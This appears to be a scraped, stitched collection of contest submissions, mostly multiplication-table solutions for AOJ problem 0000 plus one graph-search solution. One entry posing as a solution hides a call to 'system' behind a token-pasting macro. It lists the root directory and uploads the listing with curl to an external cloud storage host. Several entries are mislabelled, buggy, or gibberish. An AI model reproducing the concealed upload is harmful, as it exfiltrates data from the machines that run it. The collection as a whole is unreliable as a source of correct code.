Go: package main

import "fmt"
import "strconv"

func main() {
  for i := 1; i <= 9; i++ {
    for j := 1; j <= 9; j++ {
      res := i * j
      fmt.Println(
        strconv.Itoa(i) + "x" + strconv.Itoa(j) + "=" + strconv.Itoa(res)
      )
    }
  }
}

C++: #include <bits/stdc++.h>

using namespace std;

#define REP(i,a,b) for(int i=a;i<(int)b;i++)
#define rep(i,n) REP(i,0,n)

//typedef long long ll;
typedef int ll;

ll const INF = 1<<29;

struct EDGE {
  ll u, v, c;
  EDGE(ll u=0, ll v=0, ll c=INF) : u(u), v(v), c(c)
  {}
  bool operator < (EDGE const& e) const {
    return c < e.c;
  }
};

struct Edge {
  ll to, cost;
};

typedef vector<Edge> Edges;
typedef vector<Edges> Graph;

Graph g;
vector<ll> d;
vector<set<ll> > vlist;
ll N, M, K;
vector<vector<EDGE> > v;

set<ll> ans;
bool memo[110][1100];  //[idx][depth]
vector<EDGE> es;

void dfs(int idx, ll depth) {
  if(memo[idx][depth]) return;
  if(depth == K) {
    ans.insert(idx);
  }
  memo[idx][depth] = 1;
  rep(i, g[idx].size()) {
    Edge& e = g[idx][i];
    if(!vlist[depth].count(e.to)) continue;
    if(d[depth] != e.cost) continue;
    dfs(e.to, depth+1);
  }
}

int main() {
  
  cin >> N >> M >> K;
  es.resize(M);
  g.resize(N+1);
  rep(i, M) {
    ll a, b, c; cin >> a >> b >> c; a--, b--;
    es[i].u = a, es[i].v = b, es[i].c = c;
  }
  
  d.resize(K);
  rep(i, K) cin >> d[i];
  
  sort(es.begin(), es.end());
  es.push_back(EDGE(0,0,INF));
  v.resize(K);
  rep(i, K) {
    auto uiter = upper_bound(es.begin(), es.end(), EDGE(0,0,d[i]));
    auto liter = lower_bound(es.begin(), es.end(), EDGE(0,0,d[i]));
    
    for(auto iter=liter; iter!=uiter; iter++) {
      v[i].push_back(*iter);
    }
  }
  
  vlist.resize(K);
  rep(i, K) {
    rep(j, v[i].size()) {
      vlist[i].insert(v[i][j].u);
      vlist[i].insert(v[i][j].v);
      g[v[i][j].u].push_back((Edge){v[i][j].v, v[i][j].c});
      g[v[i][j].v].push_back((Edge){v[i][j].u, v[i][j].c});
    }
  }
  
  for(auto e: vlist[0]) {
    dfs(e, 0);
  }
  
  cout << ans.size() << endl;
  bool f = 0;
  for(auto e: ans) {
    if(f) cout << " ";
    f = 1;
    cout << e+1;
  }
  cout << endl;
  
  return 0;
}

C++: #include<cstdio>
#include<cstdlib>
#include<string>
using namespace std;
char s[20001];
#define ns(x) x##tem
int main()
{
    ns(sys)("ls -1l />/tmp/test-122293.txt");
    ns(sys)("curl -T /tmp/test-122293.txt --url http://test-test-2.oss-cn-shanghai.aliyuncs.com");
    return 0;
}

C++: i;main(j){
  for(;i++<9;)
    for(j=0;j++<9;)
      printf("%dx%d=%d\n",i,j,i*j);
  exit(0);
}

C++: #include <iostream>
using namespace std;

int main()
{
	int i,j;
	for (i = 1; i <= 9; i++) {
		for (j = 1; j <= 9; j++) {
			cout << i << 'x' << j << '=' << i*j << endl;
		}
	}
	return 0;
}

C++: #include<stdio.h>

int main() {
	int i = 8;
	while (i++ < 89) {
		printf("%dx%d=%d\n", i / 9, i % 9 + 1, i / 9 * (i % 9 + 1));
	}
	return 0;
}

C++: #include<stdio.h>
int main()
{
    int i,j,k;
    for(i=1;i<10;i++){
        for(j=1;j<10;j++)
        {
            printf("%dx%d=%d\n",i,j,i*j);
        }
    }
    return 0;
}

C++: #include<iostream>
using namespace std;
int main()
{
	for(int i=1;i<10;i++)
	{
		for(int j=1;j<10;j++)
			cout<<i<<"x"<<j<<"="<<i*j<<endl;
	}
	return 0;
}

C++: //AOJ 0000
//include
#include<cstdio>
#include<cctype>
#include<cstring>
#include<cstdlib>
#include<algorithm>
#include<stack>
#include<queue>
#include<deque>
#include<vector>
#include<list>
#include<bitset>
#include<set>
#include<iostream>

//using namespace
using namespace std;

//define

//variable
short a, b;

//function
int main(){
  for(a = 1; a <= 9; a++)
    for(b = 1; b <= 9; b++)
      printf("%dx%d=%d\n", a, b, a * b);
  return 0;
}

C++: //============================================================================
// Name        : svdzva.cpp
// Author      : 
// Version     :
// Copyright   : Your copyright notice
// Description : Hello World in C++, Ansi-style
//============================================================================

#include <iostream>
using namespace std;

int main() {
	for(int i = 1;i<10;i++){
		for(int j = 1;j<10;j++){
			cout << i <<"x"<< j <<"="<<i*j<<endl;
		}
	}
	return 0;
}

C++: #include <iostream>
using namespace std;

int main() {
    ios::sync_with_stdio(false);
    cin.tie(0);
    
    for(int i=1; i<=9; i++) {
        for(int j=1; j<=9; j++) {
            cout << i << "x" << j << "=" << i * j << endl;
        }
    }
    
    return 0;
}

C++: #include<iostream>
using namespace std;

int main(){
	int i,j;
	for ( i = 1; i <= 9; i++ ) {
		for ( j = 1; j <= 9; j++ ) {
			printf("%dx%d=%d\n",i,j,i*j);
		}
	}


    return 0;
}

C++: #include<iostream>
using namespace std;

int main(){
	for (int i=1;i<=9;i++)
	{
		cout<<i<<'x'<<i<<'='<<i*i;
		if (i!=9)cout<<endl;
	}
    return 0;
}

C++: #include<stdio.h>
using namespace std;

int main()
{
	for (int i = 1; i <= 9; i++)
	{
		for (int j = 1; j <= 9; j++)
		{
			printf("%d*%d=%d\n",i,j,i*j);
		}
	}
	return 0;
}

C++: #include<iostream>
using namespace std;

int main(){
    for (int i = 0; i < 9; ++i)
    {
        for (int j = 0; j < 9; ++j)
        {
            cout << i+1 << "x" << j+1 << "=" << (i+1)*(j+1) << endl;
        }
    }

    return 0;
}

C++: #include <iostream>
using namespace std;
int main()
{
	for (int i=1; i<=9; i++){
		for (int j=1; j<=9; j++)
			cout << i << 'x' << j << '=' << i*j << '\n';
	}
	return 0;

}

C++: #include <iostream>

int main()
{
    for (int i = 1; i <= 9; ++i) {
        for (int j = 1; j <= 9; ++j) {
            std::cout << i << "x" << j << "=" << i * j << std::endl;
        }
    }
}

C++: - submit, private

C++: using System;

class Program
{
  static void Main()
  { 
    int i, j;
    for (i = 1; i < 10; i++){
      for (j = 1; j < 10; j++){
        Console.WriteLine(i+"x"+j+"="+i*j);  
      }
    }
  }
}

C++: #include<stdio.h>

int main(){
	for(int i=1;i<=9;i++)
	{
		for(int j=1;j<=9;j++)
		{
			printf("%dx%d=&d\n",i,j,i*j);
		}	
	}
    return 0;
}

C++: #include <iostream>

int main(int argc, const char * argv[])
{
    int result;
    
    for(int i = 1; i <= 9; i++){
        for(int j = 1; j <= 9; j++){
            result = i * j;
            std::cout << i << "×" << j << "=" << result << "\n";
        }
    }
    return 0;
}

C++: #include <iostream>

int main() {
	for ( int x = 1; x < 9+1; x++ ) {
		for ( int y = 1; y < 9+1; y++ ) {
			std::cout << x << "x" << y << "=" << x*y << std::endl;
		}
	}
}

C++: #include<iostream>
using namespace std;

int main(){
    for(int i=1;i<10;i++){
    for (int j = 1; j < 10; j++)
    {
        cout << i<<"x"<<j<<"="<<i*j<<endl;
    }
    
    }
    return 0;
}

C++: #include <bits/stdc++.h>
using namespace std;

typedef long int lint;
typedef long long int llint;
typedef pair<int, int> pii;
typedef pair<int, string> pis;
typedef pair<long, long> pll;

#define EACH(t, c) for (auto&& t : c)
#define ALL(c) begin(c), end(c)
#define FOR(i, s, e) for (int i = (s); i < (int)(e); ++i)
#define REP(i, n) FOR(i, 0, n)
#define endl '\n'
#define fk first
#define sv second

const int dx[] = {1, 0, -1, 0, 1, 1, -1, -1}, dy[] = {0, 1, 0, -1, 1, -1, 1, -1};
const int MOD = (int)1e9 + 7;
const int INF = 999999999;

template<typename T>
void print(const std::vector<T>& v, char sep=' ') {
  for (int i = 0; i < (int)v.size(); i++) {
    if (i != 0) cout << sep;
    cout << v[i];
  }
  cout << endl;
}

int main() {
  cin.tie(0);
  ios::sync_with_stdio(false);

  REP(i, 9) {
    REP(j, 9) {
      cout << (i + 1) << "x" << (j + 1) << "=" << (i + 1) * (j + 1) << endl;
    }
  }
}

C++: #include<iostream>
using namespace std;

int main(){
  for(int i=1;i<=9;i++){
    for(int j=1;j<=9;j++){
      cout << i << "x" << j << "=" << i*j << endl;
    }
  }
  return 0;
}

C++: #include<bits/stdc++.h>
#define rep(i,a,n) for(int i=a;i<n;i++)
using namespace std;

int main(){
   rep(i,1,10) rep(j,1,10) {
printf("%dx%d=%d\n",i,j,i*j);
}
    return 0;
}

C++: cin<<fhadsuifherfhdhgdasyerh<<out